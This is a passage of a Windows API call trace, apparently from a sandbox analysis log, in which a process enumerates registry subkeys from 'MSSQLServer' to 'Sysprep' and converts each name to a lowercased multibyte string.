(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0x1d3b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0x1d3b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0x1d3b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x1d3c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0x1d3b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0x1d3b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0x1d3b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x1d3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0x1d3b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x1d3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0x1d3b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0x1d3b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x1d3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0x1d3b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0x1d3b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x1d3c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0040.677] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0x1d3b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0x1d3b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x1d3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0x1d3b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0x1d3b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x1d3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0x1d3b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0x1d3b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0x1d3b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0040.678] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0x1d3b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0x1d3b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x1d3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0x1d3b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0x1d3b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0x1d3b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0x1d3b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0040.679] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0x1d3b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x1d3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0x1d3b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0x1d3b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x1d3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0x1d3b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0x1d3b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0x1d3b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0x1d3b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x1d3c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0040.680] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0x1d3b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0x1d3b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x1d3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0x1d3b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, lpName=0x1d3b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0x1d3b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0x1d3b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x1d3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0040.681] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0x1d3b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0040.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 